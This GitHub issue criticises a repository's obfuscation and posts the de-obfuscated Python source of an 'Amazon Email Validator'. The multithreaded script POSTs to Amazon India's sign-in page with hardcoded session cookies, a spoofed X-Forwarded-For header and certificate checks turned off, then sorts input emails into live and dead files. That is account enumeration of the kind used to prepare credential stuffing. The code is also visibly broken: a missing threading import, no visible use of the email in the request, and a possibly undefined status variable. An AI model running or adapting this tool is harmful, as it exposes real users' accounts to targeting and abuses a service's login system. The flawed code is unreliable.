Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Obfuscation #4

Open
ProtDos opened this issue Oct 10, 2024 · 0 comments
Open

Obfuscation #4

ProtDos opened this issue Oct 10, 2024 · 0 comments

Comments

@ProtDos
Copy link

ProtDos commented Oct 10, 2024

Your obfuscation if really bad. At least you didn't put any grabber into there. For anyone wondering, here is the code un-obfuscated:

import queue
import sys
import requests
import time
import os
import urllib3
import signal

def keyboardInterruptHandler(signal, frame):
    exit(0)


signal.signal(signal.SIGINT, keyboardInterruptHandler)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

os.environ["TZ"] = "Asia/Jakarta"
time.tzset()
lock = threading.Lock()

title = "[+] Amazon Email Validator [+]"
live = "ap_change_login_claim"
dead = "There was a problem"

print("\n" + title + "\n")

filename = input("- Select Your List : ")
if not os.path.isfile(filename):
    exit("file not exists")
dir = input("- Save To : ")
if not os.path.exists(dir):
    os.makedirs(dir)
workers = input("- Thread : ")
if not workers.isdigit() or workers == "0":
    exit("must be a number and cannot be zero")
mode = input("- 1.Normal Or 2.Fast : ")
if not mode.isdigit() or int(mode) > 2:
    exit("must be a number and cannot > 2")
if mode == "1":
    delay = input("- Delay : ")
    if delay == "1":
        exit("must be a number")
else:
    delay = "0"

no = 0
live_c = 0
dead_c = 0
unknown_c = 0

email_total = len(open(filename, "r", encoding="utf-8").readlines())
print("\n", end="")  # print one line

def append_to_file(filename, data):
    file = open(filename, "a+",)
    file.write(data + "\n")
    file.close()


def do_requests():
    while True:
        global live, dead, no, title, filename, live_c, dead_c, unknown_c, workers
        email = q.get()
        url = "https://www.amazon.in/ap/signin"
        payload = (
            "appActionToken=poiC6qbiTTk30EDTsRNn2yVk9gAj3D&appAction=SIGNIN_PWD_COLLECT&subPageType=SignInClaimCollect&openid.return_to=ape%3AaHR0cHM6Ly93d3cuYW1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YkLh4"
        )
        headers = {
            "X-Forwarded-For": "127.0.0.1",
            "origin": "https://www.amazon.in",
            "content-type": "application/x-www-form-urlencoded",
            "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
            "referer": "https://www.amazon.in/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=inflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.in%2F%3Fref_%3Dnav_custrec_signin&switch_account=",
            "cookie": 'session-id=262-9868976-2693861; i18n-prefs=INR; ubid-acbin=262-6389908-9591237; x-wl-uid=1ADmdQaF2wp1/LCeD70ikdx0cVdP70kwt7TNwYpi5Blm6x8Mj+Fy/dzHLuvJS02he5hy2TPQcvYw=; session-token="rSEfevHJZEZsgRl2X8Fgrq/kGSHGtlPRg8Mc4CJ9Wfm8R14vafn7EPjhTwfbuGeWkhgqbdGt+3aTLi3yJJNUEdjDWNfeoWdu8woDoz3vfqGbW42dkD7qI6fkobHncgSST8frM8uTYaLzio/8xTsOfGPXZuJE3c44XnX/HB2vCEdfxRr8scvyoPb0lyfB/Fl89eoqRKDXHjdeJ1Vw3eiYvMa9Wus1Eq2brsbngHZH2D1qpBBBNGGhjQ=="; cdn-session=AK-8022158515b4f6f4309aa5ead76feca3; visitCount=1; csm-hit=tb:HPRRGMXP3C5D8YG6MBA7+s-B7BMMPEVEGMJWPDM5XMB|1586185133284&t:1586185133284&adb:adblk_yes; session-id-time=2082758401l',
        }
        # retry if error
        while True:
            try:
                response = requests.post(
                    url, headers=headers, data=payload, verify=False
                )
            except:
                continue
            break
        text = response.text
        lock.acquire()
        no += 1
        if live in text:
            live_c += 1
            status = "\u001b[32;1mLive => " + email + "\u001b[0m"
            append_to_file(dir + "/live.txt", email)
        elif dead in text:
            dead_c += 1
            status = "\u001b[31;1mDead => " + email + "\u001b[0m"
            append_to_file(dir + "/dead.txt", email)
        print(
            ""
            + "[+] "
            + status
        )
        lock.release()
        q.task_done()


q = queue.Queue()

for i in range(int(workers)):
    worker = threading.Thread(target=do_requests)
    worker.setDaemon(True)
    worker.start()

if mode == "1":
    cnt = 0
    for email in open(filename, "r", encoding="utf-8").readlines():
        cnt += 1
        q.put(email.strip())
        if cnt % int(workers) == 0:
            q.join()
            time.sleep(float(delay))
else:
    for email in open(filename, "r", encoding="utf-8").readlines():
        q.put(email.strip())
    q.join()```
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant